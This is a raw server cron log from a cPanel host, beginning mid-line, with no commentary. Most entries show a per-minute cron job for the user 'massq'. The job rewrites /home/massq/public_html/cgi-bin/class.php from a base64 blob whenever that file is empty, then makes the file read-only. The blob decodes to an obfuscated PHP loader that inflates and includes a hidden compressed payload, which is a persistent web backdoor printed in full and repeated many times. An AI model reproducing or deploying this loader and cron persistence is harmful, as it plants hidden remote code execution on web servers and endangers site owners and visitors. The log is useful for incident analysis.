XJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:55:01 server CROND[2431]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 18:56:01 server CROND[2544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:57:01 server CROND[2623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:57:01 server CROND[2624]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 18:58:01 server CROND[2832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 18:59:01 server CROND[2894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:00:01 server CROND[2946]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 19:00:01 server CROND[2947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:00:01 server CROND[2948]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 19:00:01 server CROND[2949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 19:01:01 server CROND[3062]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 19:01:01 server CROND[3063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:01:01 server run-parts(/etc/cron.hourly)[3062]: starting 0anacron
Apr 12 19:01:01 server run-parts(/etc/cron.hourly)[3075]: finished 0anacron
Apr 12 19:02:01 server CROND[3126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:03:01 server CROND[3290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:04:01 server CROND[3372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:05:01 server CROND[3438]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 19:05:01 server CROND[3440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:05:01 server CROND[3441]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 19:05:01 server CROND[3442]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 19:06:01 server CROND[3563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:07:01 server CROND[3633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 19:08:01 server CROND[3782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
